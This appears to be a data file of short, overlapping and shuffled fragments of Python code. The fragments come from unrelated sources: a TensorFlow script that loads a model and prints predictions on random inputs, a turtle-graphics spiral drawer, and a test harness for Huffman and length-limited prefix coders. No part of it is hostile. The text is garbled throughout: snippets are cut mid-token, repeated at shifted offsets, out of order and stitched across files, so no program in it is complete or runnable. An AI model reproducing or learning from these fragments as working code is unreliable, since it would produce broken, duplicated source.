"table_name def __eq__(self, other): return other and isinstance(other, Column) and equals_ignore_case(self.name, other.name) and"
] |
[
"+ x_train[i][3], int(x_train[i][0] + x_train[i][1] + x_train[i][2] + x_train[i][3] > 20), int(r[i][0] <",
"def get_data(nums): import os x_train = [] # 4*1 y_train = [] #",
"1*1 for i in range(nums): NewList = [] for m in list([0, 1,",
"= [] for m in list([0, 1, 2, 3]): NewList.append(random.random() // 0.1) x_train.append(NewList)",
"x_train.append(NewList) return x_train x_train = get_data(10) x_train.append([1, 1, 1, 1]) x_train.append([2, 2, 2,",
"2, 2]) model = tf.keras.models.load_model('my_model') r = model.predict(x_train) for i in range(len(r)): print(x_train[i][0]",
"x_train = get_data(10) x_train.append([1, 1, 1, 1]) x_train.append([2, 2, 2, 2]) model =",
"2, 2, 2]) model = tf.keras.models.load_model('my_model') r = model.predict(x_train) for i in range(len(r)):",
"x_train[i][3], int(x_train[i][0] + x_train[i][1] + x_train[i][2] + x_train[i][3] > 20), int(r[i][0] < r[i][1]),",
"print(x_train[i][0] + x_train[i][1] + x_train[i][2] + x_train[i][3], int(x_train[i][0] + x_train[i][1] + x_train[i][2] +",
"x_train x_train = get_data(10) x_train.append([1, 1, 1, 1]) x_train.append([2, 2, 2, 2]) model",
"NewList.append(random.random() // 0.1) x_train.append(NewList) return x_train x_train = get_data(10) x_train.append([1, 1, 1, 1])",
"list([0, 1, 2, 3]): NewList.append(random.random() // 0.1) x_train.append(NewList) return x_train x_train = get_data(10)",
"+ x_train[i][2] + x_train[i][3], int(x_train[i][0] + x_train[i][1] + x_train[i][2] + x_train[i][3] > 20),",
"i in range(nums): NewList = [] for m in list([0, 1, 2, 3]):",
"os x_train = [] # 4*1 y_train = [] # 1*1 for i",
"import tensorflow as tf import random def get_data(nums): import os x_train = []",
"= get_data(10) x_train.append([1, 1, 1, 1]) x_train.append([2, 2, 2, 2]) model = tf.keras.models.load_model('my_model')",
"+ x_train[i][1] + x_train[i][2] + x_train[i][3], int(x_train[i][0] + x_train[i][1] + x_train[i][2] + x_train[i][3]",
"tf.keras.models.load_model('my_model') r = model.predict(x_train) for i in range(len(r)): print(x_train[i][0] + x_train[i][1] + x_train[i][2]",
"model.predict(x_train) for i in range(len(r)): print(x_train[i][0] + x_train[i][1] + x_train[i][2] + x_train[i][3], int(x_train[i][0]",
"1, 1]) x_train.append([2, 2, 2, 2]) model = tf.keras.models.load_model('my_model') r = model.predict(x_train) for",
"coding=utf-8 import tensorflow as tf import random def get_data(nums): import os x_train =",
"= tf.keras.models.load_model('my_model') r = model.predict(x_train) for i in range(len(r)): print(x_train[i][0] + x_train[i][1] +",
"y_train = [] # 1*1 for i in range(nums): NewList = [] for",
"tensorflow as tf import random def get_data(nums): import os x_train = [] #",
"NewList = [] for m in list([0, 1, 2, 3]): NewList.append(random.random() // 0.1)",
"= model.predict(x_train) for i in range(len(r)): print(x_train[i][0] + x_train[i][1] + x_train[i][2] + x_train[i][3],",
"1, 1, 1]) x_train.append([2, 2, 2, 2]) model = tf.keras.models.load_model('my_model') r = model.predict(x_train)",
"range(len(r)): print(x_train[i][0] + x_train[i][1] + x_train[i][2] + x_train[i][3], int(x_train[i][0] + x_train[i][1] + x_train[i][2]",
"[] for m in list([0, 1, 2, 3]): NewList.append(random.random() // 0.1) x_train.append(NewList) return",
"range(nums): NewList = [] for m in list([0, 1, 2, 3]): NewList.append(random.random() //",
"0.1) x_train.append(NewList) return x_train x_train = get_data(10) x_train.append([1, 1, 1, 1]) x_train.append([2, 2,",
"# coding=utf-8 import tensorflow as tf import random def get_data(nums): import os x_train",
"for i in range(nums): NewList = [] for m in list([0, 1, 2,",
"2, 3]): NewList.append(random.random() // 0.1) x_train.append(NewList) return x_train x_train = get_data(10) x_train.append([1, 1,",
"for i in range(len(r)): print(x_train[i][0] + x_train[i][1] + x_train[i][2] + x_train[i][3], int(x_train[i][0] +",
"4*1 y_train = [] # 1*1 for i in range(nums): NewList = []",
"m in list([0, 1, 2, 3]): NewList.append(random.random() // 0.1) x_train.append(NewList) return x_train x_train",
"<filename>predict.py # coding=utf-8 import tensorflow as tf import random def get_data(nums): import os",
"2]) model = tf.keras.models.load_model('my_model') r = model.predict(x_train) for i in range(len(r)): print(x_train[i][0] +",
"model = tf.keras.models.load_model('my_model') r = model.predict(x_train) for i in range(len(r)): print(x_train[i][0] + x_train[i][1]",
"r = model.predict(x_train) for i in range(len(r)): print(x_train[i][0] + x_train[i][1] + x_train[i][2] +",
"in range(len(r)): print(x_train[i][0] + x_train[i][1] + x_train[i][2] + x_train[i][3], int(x_train[i][0] + x_train[i][1] +",
"// 0.1) x_train.append(NewList) return x_train x_train = get_data(10) x_train.append([1, 1, 1, 1]) x_train.append([2,",
"x_train.append([1, 1, 1, 1]) x_train.append([2, 2, 2, 2]) model = tf.keras.models.load_model('my_model') r =",
"in list([0, 1, 2, 3]): NewList.append(random.random() // 0.1) x_train.append(NewList) return x_train x_train =",
"int(x_train[i][0] + x_train[i][1] + x_train[i][2] + x_train[i][3] > 20), int(r[i][0] < r[i][1]), r[i][0],",
"return x_train x_train = get_data(10) x_train.append([1, 1, 1, 1]) x_train.append([2, 2, 2, 2])",
"for m in list([0, 1, 2, 3]): NewList.append(random.random() // 0.1) x_train.append(NewList) return x_train",
"= [] # 1*1 for i in range(nums): NewList = [] for m",
"[] # 1*1 for i in range(nums): NewList = [] for m in",
"+ x_train[i][1] + x_train[i][2] + x_train[i][3] > 20), int(r[i][0] < r[i][1]), r[i][0], r[i][1])",
"# 4*1 y_train = [] # 1*1 for i in range(nums): NewList =",
"import os x_train = [] # 4*1 y_train = [] # 1*1 for",
"as tf import random def get_data(nums): import os x_train = [] # 4*1",
"random def get_data(nums): import os x_train = [] # 4*1 y_train = []",
"tf import random def get_data(nums): import os x_train = [] # 4*1 y_train",
"get_data(10) x_train.append([1, 1, 1, 1]) x_train.append([2, 2, 2, 2]) model = tf.keras.models.load_model('my_model') r",
"import random def get_data(nums): import os x_train = [] # 4*1 y_train =",
"get_data(nums): import os x_train = [] # 4*1 y_train = [] # 1*1",
"1, 2, 3]): NewList.append(random.random() // 0.1) x_train.append(NewList) return x_train x_train = get_data(10) x_train.append([1,",
"in range(nums): NewList = [] for m in list([0, 1, 2, 3]): NewList.append(random.random()",
"x_train = [] # 4*1 y_train = [] # 1*1 for i in",
"x_train[i][2] + x_train[i][3], int(x_train[i][0] + x_train[i][1] + x_train[i][2] + x_train[i][3] > 20), int(r[i][0]",
"[] # 4*1 y_train = [] # 1*1 for i in range(nums): NewList",
"1]) x_train.append([2, 2, 2, 2]) model = tf.keras.models.load_model('my_model') r = model.predict(x_train) for i",
"# 1*1 for i in range(nums): NewList = [] for m in list([0,",
"i in range(len(r)): print(x_train[i][0] + x_train[i][1] + x_train[i][2] + x_train[i][3], int(x_train[i][0] + x_train[i][1]",
"x_train.append([2, 2, 2, 2]) model = tf.keras.models.load_model('my_model') r = model.predict(x_train) for i in",
"= [] # 4*1 y_train = [] # 1*1 for i in range(nums):",
"3]): NewList.append(random.random() // 0.1) x_train.append(NewList) return x_train x_train = get_data(10) x_train.append([1, 1, 1,",
"x_train[i][1] + x_train[i][2] + x_train[i][3], int(x_train[i][0] + x_train[i][1] + x_train[i][2] + x_train[i][3] >"
] |
[
"<gh_stars>0 # Python program to draw # Spiral Helix Pattern # using Turtle",
"# Python program to draw # Spiral Helix Pattern # using Turtle Programming",
"using Turtle Programming import turtle loadWindow = turtle.Screen() turtle.speed(2) for i in range(100):",
"draw # Spiral Helix Pattern # using Turtle Programming import turtle loadWindow =",
"Pattern # using Turtle Programming import turtle loadWindow = turtle.Screen() turtle.speed(2) for i",
"# using Turtle Programming import turtle loadWindow = turtle.Screen() turtle.speed(2) for i in",
"turtle loadWindow = turtle.Screen() turtle.speed(2) for i in range(100): turtle.circle(5*i) turtle.circle(-5*i) turtle.left(i) turtle.exitonclick()",
"Turtle Programming import turtle loadWindow = turtle.Screen() turtle.speed(2) for i in range(100): turtle.circle(5*i)",
"Spiral Helix Pattern # using Turtle Programming import turtle loadWindow = turtle.Screen() turtle.speed(2)",
"Helix Pattern # using Turtle Programming import turtle loadWindow = turtle.Screen() turtle.speed(2) for",
"Programming import turtle loadWindow = turtle.Screen() turtle.speed(2) for i in range(100): turtle.circle(5*i) turtle.circle(-5*i)",
"import turtle loadWindow = turtle.Screen() turtle.speed(2) for i in range(100): turtle.circle(5*i) turtle.circle(-5*i) turtle.left(i)",
"to draw # Spiral Helix Pattern # using Turtle Programming import turtle loadWindow",
"Python program to draw # Spiral Helix Pattern # using Turtle Programming import",
"# Spiral Helix Pattern # using Turtle Programming import turtle loadWindow = turtle.Screen()",
"program to draw # Spiral Helix Pattern # using Turtle Programming import turtle"
] |
[
"[c * 1.0 / symbols for _,c in counts] codeu = make_code(counts) code16",
"c == ' ': return \"' '\" if code > 32 and code",
"display_list(codeu)) print 'code-16 (weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l) in",
"in rows] return '\\n'.join(res) def test_coder(name, data, code): encoder = Encoder(code) dos =",
"range(256)], 0) for x in data: counts[x] += 1 counts = sorted(counts.iteritems()) print",
"= make_code(counts) code16 = make_ll_code(counts, 16) code10 = make_ll_code(counts, 10) code8 = make_ll_code(counts,",
"0), display_list(code6)) test_coder('unlimited', data, codeu) test_coder('code-16', data, code16) test_coder('code-10', data, code10) test_coder('code-8', data,",
"* l for w,(_,l) in zip(weights, code10)), 0), display_list(code10)) print 'code-8 (weighted lenght",
"res.append('1' if v % 2 else '0') v /= 2 res.reverse() self.buffer.extend(res) def",
"dis = DummyInputStream(dos.buffer) decoder = Decoder(code) res = [] try: while True: res.append(decoder.get(dis))",
"x) print name print ''.join(dos.buffer) print len(dos.buffer) dis = DummyInputStream(dos.buffer) decoder = Decoder(code)",
"pass res = ['\\t'.join(r) for r in rows] return '\\n'.join(res) def test_coder(name, data,",
"input format') return res class DummyOutputStream(object): def __init__(self): self.buffer = [] def put_be(self,",
"symbols = sum((c for _,c in counts), 0) weights = [c * 1.0",
"0), display_list(code8)) print 'code-6 (weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l)",
"for _ in range((len(items) + columns - 1) / columns)] try: ii =",
"print 'Counts:\\n%s' % display_list(counts) symbols = sum((c for _,c in counts), 0) weights",
"counts] codeu = make_code(counts) code16 = make_ll_code(counts, 16) code10 = make_ll_code(counts, 10) code8",
"print 'code-16 (weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights,",
"(weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights, code8)), 0),",
"l for w,(_,l) in zip(weights, code10)), 0), display_list(code10)) print 'code-8 (weighted lenght %s):\\n%s'",
"code (weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights, codeu)),",
"code8)), 0), display_list(code8)) print 'code-6 (weighted lenght %s):\\n%s' % (sum((w * l for",
"zip(weights, code6)), 0), display_list(code6)) test_coder('unlimited', data, codeu) test_coder('code-16', data, code16) test_coder('code-10', data, code10)",
"% (display_char(c), i) for c,i in l if i > 0] rows =",
"if b == '1': res += 1 elif b == '0': pass else:",
"test_coder('unlimited', data, codeu) test_coder('code-16', data, code16) test_coder('code-10', data, code10) test_coder('code-8', data, code8) test_coder('code-6',",
"import sys sys.path.insert(0, '../src') from prefix_code import Encoder, Decoder from huffman import make_code_symbols",
"in xrange(n): b = self.data.next() res *= 2 if b == '1': res",
"'\\\\t' if c == '\\r': return '\\\\r' if c == ' ': return",
"32 and code < 128: return c return '0x%02x' % code def display_list(l):",
"code10)), 0), display_list(code10)) print 'code-8 (weighted lenght %s):\\n%s' % (sum((w * l for",
"(display_char(c), i) for c,i in l if i > 0] rows = [[]",
"% (sum((w * l for w,(_,l) in zip(weights, code8)), 0), display_list(code8)) print 'code-6",
"data, codeu) test_coder('code-16', data, code16) test_coder('code-10', data, code10) test_coder('code-8', data, code8) test_coder('code-6', data,",
"else '0') v /= 2 res.reverse() self.buffer.extend(res) def display_char(c): code = ord(c) if",
"# ll for lenght-limited class DummyInputStream(object): def __init__(self, data): self.data = iter(data) def",
"'../src') from prefix_code import Encoder, Decoder from huffman import make_code_symbols as make_code from",
"% display_list(counts) symbols = sum((c for _,c in counts), 0) weights = [c",
"sys.path.insert(0, '../src') from prefix_code import Encoder, Decoder from huffman import make_code_symbols as make_code",
"DummyOutputStream(object): def __init__(self): self.buffer = [] def put_be(self, v, n): res = []",
"4 items = ['%s --> %3s' % (display_char(c), i) for c,i in l",
"in zip(weights, codeu)), 0), display_list(codeu)) print 'code-16 (weighted lenght %s):\\n%s' % (sum((w *",
"sum((c for _,c in counts), 0) weights = [c * 1.0 / symbols",
"data: counts[x] += 1 counts = sorted(counts.iteritems()) print 'Counts:\\n%s' % display_list(counts) symbols =",
"in range((len(items) + columns - 1) / columns)] try: ii = iter(items) while",
"code16 = make_ll_code(counts, 16) code10 = make_ll_code(counts, 10) code8 = make_ll_code(counts, 8) code6",
"print 'code-8 (weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights,",
"counts[x] += 1 counts = sorted(counts.iteritems()) print 'Counts:\\n%s' % display_list(counts) symbols = sum((c",
"res += 1 elif b == '0': pass else: raise Exception('Wrong input format')",
"if c == '\\t': return '\\\\t' if c == '\\r': return '\\\\r' if",
"import make_code_symbols as make_ll_code # ll for lenght-limited class DummyInputStream(object): def __init__(self, data):",
"in counts] codeu = make_code(counts) code16 = make_ll_code(counts, 16) code10 = make_ll_code(counts, 10)",
"128: return c return '0x%02x' % code def display_list(l): columns = 4 items",
"while True: for r in rows: r.append(ii.next()) except StopIteration: pass res = ['\\t'.join(r)",
"(weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights, code16)), 0),",
"decoder = Decoder(code) res = [] try: while True: res.append(decoder.get(dis)) except StopIteration: pass",
"zip(weights, code16)), 0), display_list(code16)) print 'code-10 (weighted lenght %s):\\n%s' % (sum((w * l",
"['\\t'.join(r) for r in rows] return '\\n'.join(res) def test_coder(name, data, code): encoder =",
"print 'Error!' data = sys.stdin.read() counts = dict.fromkeys([chr(i) for i in range(256)], 0)",
"'1': res += 1 elif b == '0': pass else: raise Exception('Wrong input",
"w,(_,l) in zip(weights, code8)), 0), display_list(code8)) print 'code-6 (weighted lenght %s):\\n%s' % (sum((w",
"StopIteration: pass if ''.join(res) == data: print 'Decoded' else: print 'Error!' data =",
"from bounded_huffman import make_code_symbols as make_ll_code # ll for lenght-limited class DummyInputStream(object): def",
"from huffman import make_code_symbols as make_code from bounded_huffman import make_code_symbols as make_ll_code #",
"import make_code_symbols as make_code from bounded_huffman import make_code_symbols as make_ll_code # ll for",
"xrange(n): b = self.data.next() res *= 2 if b == '1': res +=",
"w,(_,l) in zip(weights, code6)), 0), display_list(code6)) test_coder('unlimited', data, codeu) test_coder('code-16', data, code16) test_coder('code-10',",
"if ''.join(res) == data: print 'Decoded' else: print 'Error!' data = sys.stdin.read() counts",
"return \"' '\" if code > 32 and code < 128: return c",
"'code-8 (weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights, code8)),",
"from prefix_code import Encoder, Decoder from huffman import make_code_symbols as make_code from bounded_huffman",
"columns)] try: ii = iter(items) while True: for r in rows: r.append(ii.next()) except",
"2 if b == '1': res += 1 elif b == '0': pass",
"display_list(code6)) test_coder('unlimited', data, codeu) test_coder('code-16', data, code16) test_coder('code-10', data, code10) test_coder('code-8', data, code8)",
"16) code10 = make_ll_code(counts, 10) code8 = make_ll_code(counts, 8) code6 = make_ll_code(counts, 6)",
"codeu)), 0), display_list(codeu)) print 'code-16 (weighted lenght %s):\\n%s' % (sum((w * l for",
"0), display_list(code10)) print 'code-8 (weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l)",
"in rows: r.append(ii.next()) except StopIteration: pass res = ['\\t'.join(r) for r in rows]",
"huffman import make_code_symbols as make_code from bounded_huffman import make_code_symbols as make_ll_code # ll",
"in xrange(n): res.append('1' if v % 2 else '0') v /= 2 res.reverse()",
"(weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights, codeu)), 0),",
"(weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights, code10)), 0),",
"res *= 2 if b == '1': res += 1 elif b ==",
"def put_be(self, v, n): res = [] for _ in xrange(n): res.append('1' if",
"v /= 2 res.reverse() self.buffer.extend(res) def display_char(c): code = ord(c) if c ==",
"% 2 else '0') v /= 2 res.reverse() self.buffer.extend(res) def display_char(c): code =",
"lenght %s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights, codeu)), 0), display_list(codeu))",
"data = sys.stdin.read() counts = dict.fromkeys([chr(i) for i in range(256)], 0) for x",
"r.append(ii.next()) except StopIteration: pass res = ['\\t'.join(r) for r in rows] return '\\n'.join(res)",
"_,c in counts), 0) weights = [c * 1.0 / symbols for _,c",
"1.0 / symbols for _,c in counts] codeu = make_code(counts) code16 = make_ll_code(counts,",
"(sum((w * l for w,(_,l) in zip(weights, code6)), 0), display_list(code6)) test_coder('unlimited', data, codeu)",
"* l for w,(_,l) in zip(weights, code6)), 0), display_list(code6)) test_coder('unlimited', data, codeu) test_coder('code-16',",
"zip(weights, code10)), 0), display_list(code10)) print 'code-8 (weighted lenght %s):\\n%s' % (sum((w * l",
"= 4 items = ['%s --> %3s' % (display_char(c), i) for c,i in",
"* 1.0 / symbols for _,c in counts] codeu = make_code(counts) code16 =",
"l for w,(_,l) in zip(weights, codeu)), 0), display_list(codeu)) print 'code-16 (weighted lenght %s):\\n%s'",
"return '\\\\n' if c == '\\t': return '\\\\t' if c == '\\r': return",
"'Unlimited code (weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights,",
"as make_ll_code # ll for lenght-limited class DummyInputStream(object): def __init__(self, data): self.data =",
"'Counts:\\n%s' % display_list(counts) symbols = sum((c for _,c in counts), 0) weights =",
"w,(_,l) in zip(weights, code10)), 0), display_list(code10)) print 'code-8 (weighted lenght %s):\\n%s' % (sum((w",
"and code < 128: return c return '0x%02x' % code def display_list(l): columns",
"['%s --> %3s' % (display_char(c), i) for c,i in l if i >",
"8) code6 = make_ll_code(counts, 6) print 'Unlimited code (weighted lenght %s):\\n%s' % (sum((w",
"return res class DummyOutputStream(object): def __init__(self): self.buffer = [] def put_be(self, v, n):",
"'Error!' data = sys.stdin.read() counts = dict.fromkeys([chr(i) for i in range(256)], 0) for",
"class DummyInputStream(object): def __init__(self, data): self.data = iter(data) def get_be(self, n): res =",
"== '\\n': return '\\\\n' if c == '\\t': return '\\\\t' if c ==",
"l for w,(_,l) in zip(weights, code16)), 0), display_list(code16)) print 'code-10 (weighted lenght %s):\\n%s'",
"= [[] for _ in range((len(items) + columns - 1) / columns)] try:",
"w,(_,l) in zip(weights, codeu)), 0), display_list(codeu)) print 'code-16 (weighted lenght %s):\\n%s' % (sum((w",
"% (sum((w * l for w,(_,l) in zip(weights, code16)), 0), display_list(code16)) print 'code-10",
"data): self.data = iter(data) def get_be(self, n): res = 0 for _ in",
"for w,(_,l) in zip(weights, code8)), 0), display_list(code8)) print 'code-6 (weighted lenght %s):\\n%s' %",
"make_ll_code(counts, 8) code6 = make_ll_code(counts, 6) print 'Unlimited code (weighted lenght %s):\\n%s' %",
"0 for _ in xrange(n): b = self.data.next() res *= 2 if b",
"l for w,(_,l) in zip(weights, code8)), 0), display_list(code8)) print 'code-6 (weighted lenght %s):\\n%s'",
"'\\n': return '\\\\n' if c == '\\t': return '\\\\t' if c == '\\r':",
"(sum((w * l for w,(_,l) in zip(weights, code8)), 0), display_list(code8)) print 'code-6 (weighted",
"bounded_huffman import make_code_symbols as make_ll_code # ll for lenght-limited class DummyInputStream(object): def __init__(self,",
"= iter(items) while True: for r in rows: r.append(ii.next()) except StopIteration: pass res",
"__init__(self): self.buffer = [] def put_be(self, v, n): res = [] for _",
"+ columns - 1) / columns)] try: ii = iter(items) while True: for",
"__init__(self, data): self.data = iter(data) def get_be(self, n): res = 0 for _",
"= make_ll_code(counts, 6) print 'Unlimited code (weighted lenght %s):\\n%s' % (sum((w * l",
"while True: res.append(decoder.get(dis)) except StopIteration: pass if ''.join(res) == data: print 'Decoded' else:",
"for r in rows] return '\\n'.join(res) def test_coder(name, data, code): encoder = Encoder(code)",
"v, n): res = [] for _ in xrange(n): res.append('1' if v %",
"1 elif b == '0': pass else: raise Exception('Wrong input format') return res",
"= make_ll_code(counts, 8) code6 = make_ll_code(counts, 6) print 'Unlimited code (weighted lenght %s):\\n%s'",
"1 counts = sorted(counts.iteritems()) print 'Counts:\\n%s' % display_list(counts) symbols = sum((c for _,c",
"if i > 0] rows = [[] for _ in range((len(items) + columns",
"'Decoded' else: print 'Error!' data = sys.stdin.read() counts = dict.fromkeys([chr(i) for i in",
"make_ll_code(counts, 6) print 'Unlimited code (weighted lenght %s):\\n%s' % (sum((w * l for",
"if code > 32 and code < 128: return c return '0x%02x' %",
"lenght %s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights, code8)), 0), display_list(code8))",
"in range(256)], 0) for x in data: counts[x] += 1 counts = sorted(counts.iteritems())",
"res class DummyOutputStream(object): def __init__(self): self.buffer = [] def put_be(self, v, n): res",
"in zip(weights, code6)), 0), display_list(code6)) test_coder('unlimited', data, codeu) test_coder('code-16', data, code16) test_coder('code-10', data,",
"+= 1 elif b == '0': pass else: raise Exception('Wrong input format') return",
"get_be(self, n): res = 0 for _ in xrange(n): b = self.data.next() res",
"DummyOutputStream() for x in data: encoder.put(dos, x) print name print ''.join(dos.buffer) print len(dos.buffer)",
"'\\\\n' if c == '\\t': return '\\\\t' if c == '\\r': return '\\\\r'",
"= DummyInputStream(dos.buffer) decoder = Decoder(code) res = [] try: while True: res.append(decoder.get(dis)) except",
"for w,(_,l) in zip(weights, codeu)), 0), display_list(codeu)) print 'code-16 (weighted lenght %s):\\n%s' %",
"/= 2 res.reverse() self.buffer.extend(res) def display_char(c): code = ord(c) if c == '\\n':",
"l if i > 0] rows = [[] for _ in range((len(items) +",
"make_code from bounded_huffman import make_code_symbols as make_ll_code # ll for lenght-limited class DummyInputStream(object):",
"for w,(_,l) in zip(weights, code10)), 0), display_list(code10)) print 'code-8 (weighted lenght %s):\\n%s' %",
"' ': return \"' '\" if code > 32 and code < 128:",
"'\\r': return '\\\\r' if c == ' ': return \"' '\" if code",
"lenght %s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights, code10)), 0), display_list(code10))",
"code10 = make_ll_code(counts, 10) code8 = make_ll_code(counts, 8) code6 = make_ll_code(counts, 6) print",
"encoder.put(dos, x) print name print ''.join(dos.buffer) print len(dos.buffer) dis = DummyInputStream(dos.buffer) decoder =",
"c return '0x%02x' % code def display_list(l): columns = 4 items = ['%s",
"[] for _ in xrange(n): res.append('1' if v % 2 else '0') v",
"dos = DummyOutputStream() for x in data: encoder.put(dos, x) print name print ''.join(dos.buffer)",
"display_list(code8)) print 'code-6 (weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l) in",
"codeu = make_code(counts) code16 = make_ll_code(counts, 16) code10 = make_ll_code(counts, 10) code8 =",
"code < 128: return c return '0x%02x' % code def display_list(l): columns =",
"items = ['%s --> %3s' % (display_char(c), i) for c,i in l if",
"def get_be(self, n): res = 0 for _ in xrange(n): b = self.data.next()",
"%s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights, code6)), 0), display_list(code6)) test_coder('unlimited',",
"else: print 'Error!' data = sys.stdin.read() counts = dict.fromkeys([chr(i) for i in range(256)],",
"dict.fromkeys([chr(i) for i in range(256)], 0) for x in data: counts[x] += 1",
"print 'Unlimited code (weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l) in",
"self.buffer = [] def put_be(self, v, n): res = [] for _ in",
"pass else: raise Exception('Wrong input format') return res class DummyOutputStream(object): def __init__(self): self.buffer",
"== ' ': return \"' '\" if code > 32 and code <",
"res.reverse() self.buffer.extend(res) def display_char(c): code = ord(c) if c == '\\n': return '\\\\n'",
"counts = sorted(counts.iteritems()) print 'Counts:\\n%s' % display_list(counts) symbols = sum((c for _,c in",
"%s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights, code10)), 0), display_list(code10)) print",
"- 1) / columns)] try: ii = iter(items) while True: for r in",
"= DummyOutputStream() for x in data: encoder.put(dos, x) print name print ''.join(dos.buffer) print",
"data: encoder.put(dos, x) print name print ''.join(dos.buffer) print len(dos.buffer) dis = DummyInputStream(dos.buffer) decoder",
"res = [] try: while True: res.append(decoder.get(dis)) except StopIteration: pass if ''.join(res) ==",
"sorted(counts.iteritems()) print 'Counts:\\n%s' % display_list(counts) symbols = sum((c for _,c in counts), 0)",
"* l for w,(_,l) in zip(weights, code16)), 0), display_list(code16)) print 'code-10 (weighted lenght",
"if v % 2 else '0') v /= 2 res.reverse() self.buffer.extend(res) def display_char(c):",
"self.data.next() res *= 2 if b == '1': res += 1 elif b",
"b == '0': pass else: raise Exception('Wrong input format') return res class DummyOutputStream(object):",
"< 128: return c return '0x%02x' % code def display_list(l): columns = 4",
"== '\\t': return '\\\\t' if c == '\\r': return '\\\\r' if c ==",
"2 res.reverse() self.buffer.extend(res) def display_char(c): code = ord(c) if c == '\\n': return",
"weights = [c * 1.0 / symbols for _,c in counts] codeu =",
"def test_coder(name, data, code): encoder = Encoder(code) dos = DummyOutputStream() for x in",
"(sum((w * l for w,(_,l) in zip(weights, code16)), 0), display_list(code16)) print 'code-10 (weighted",
"for _ in xrange(n): res.append('1' if v % 2 else '0') v /=",
"%3s' % (display_char(c), i) for c,i in l if i > 0] rows",
"x in data: counts[x] += 1 counts = sorted(counts.iteritems()) print 'Counts:\\n%s' % display_list(counts)",
"[[] for _ in range((len(items) + columns - 1) / columns)] try: ii",
"in zip(weights, code16)), 0), display_list(code16)) print 'code-10 (weighted lenght %s):\\n%s' % (sum((w *",
"0) for x in data: counts[x] += 1 counts = sorted(counts.iteritems()) print 'Counts:\\n%s'",
"rows] return '\\n'.join(res) def test_coder(name, data, code): encoder = Encoder(code) dos = DummyOutputStream()",
"% code def display_list(l): columns = 4 items = ['%s --> %3s' %",
"for _ in xrange(n): b = self.data.next() res *= 2 if b ==",
"''.join(dos.buffer) print len(dos.buffer) dis = DummyInputStream(dos.buffer) decoder = Decoder(code) res = [] try:",
"Encoder(code) dos = DummyOutputStream() for x in data: encoder.put(dos, x) print name print",
"c == '\\t': return '\\\\t' if c == '\\r': return '\\\\r' if c",
"= make_ll_code(counts, 16) code10 = make_ll_code(counts, 10) code8 = make_ll_code(counts, 8) code6 =",
"= Encoder(code) dos = DummyOutputStream() for x in data: encoder.put(dos, x) print name",
"for x in data: encoder.put(dos, x) print name print ''.join(dos.buffer) print len(dos.buffer) dis",
"> 0] rows = [[] for _ in range((len(items) + columns - 1)",
"print 'code-6 (weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights,",
"6) print 'Unlimited code (weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l)",
"== data: print 'Decoded' else: print 'Error!' data = sys.stdin.read() counts = dict.fromkeys([chr(i)",
"StopIteration: pass res = ['\\t'.join(r) for r in rows] return '\\n'.join(res) def test_coder(name,",
"try: ii = iter(items) while True: for r in rows: r.append(ii.next()) except StopIteration:",
"print 'Decoded' else: print 'Error!' data = sys.stdin.read() counts = dict.fromkeys([chr(i) for i",
"*= 2 if b == '1': res += 1 elif b == '0':",
"print ''.join(dos.buffer) print len(dos.buffer) dis = DummyInputStream(dos.buffer) decoder = Decoder(code) res = []",
"counts = dict.fromkeys([chr(i) for i in range(256)], 0) for x in data: counts[x]",
"display_char(c): code = ord(c) if c == '\\n': return '\\\\n' if c ==",
"0), display_list(code16)) print 'code-10 (weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l)",
"for i in range(256)], 0) for x in data: counts[x] += 1 counts",
"i > 0] rows = [[] for _ in range((len(items) + columns -",
"v % 2 else '0') v /= 2 res.reverse() self.buffer.extend(res) def display_char(c): code",
"[] def put_be(self, v, n): res = [] for _ in xrange(n): res.append('1'",
"> 32 and code < 128: return c return '0x%02x' % code def",
"b = self.data.next() res *= 2 if b == '1': res += 1",
"(weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights, code6)), 0),",
"ord(c) if c == '\\n': return '\\\\n' if c == '\\t': return '\\\\t'",
"print len(dos.buffer) dis = DummyInputStream(dos.buffer) decoder = Decoder(code) res = [] try: while",
"'code-6 (weighted lenght %s):\\n%s' % (sum((w * l for w,(_,l) in zip(weights, code6)),",
"display_list(counts) symbols = sum((c for _,c in counts), 0) weights = [c *",
"code): encoder = Encoder(code) dos = DummyOutputStream() for x in data: encoder.put(dos, x)",
"iter(data) def get_be(self, n): res = 0 for _ in xrange(n): b =",
"def __init__(self): self.buffer = [] def put_be(self, v, n): res = [] for",
"except StopIteration: pass res = ['\\t'.join(r) for r in rows] return '\\n'.join(res) def",
"(sum((w * l for w,(_,l) in zip(weights, codeu)), 0), display_list(codeu)) print 'code-16 (weighted",
"'\\t': return '\\\\t' if c == '\\r': return '\\\\r' if c == '",
"= [] def put_be(self, v, n): res = [] for _ in xrange(n):",
"c == '\\r': return '\\\\r' if c == ' ': return \"' '\"",
"as make_code from bounded_huffman import make_code_symbols as make_ll_code # ll for lenght-limited class",
"0) weights = [c * 1.0 / symbols for _,c in counts] codeu",
"'0') v /= 2 res.reverse() self.buffer.extend(res) def display_char(c): code = ord(c) if c",
"10) code8 = make_ll_code(counts, 8) code6 = make_ll_code(counts, 6) print 'Unlimited code (weighted",
"def display_char(c): code = ord(c) if c == '\\n': return '\\\\n' if c",
"Encoder, Decoder from huffman import make_code_symbols as make_code from bounded_huffman import make_code_symbols as",
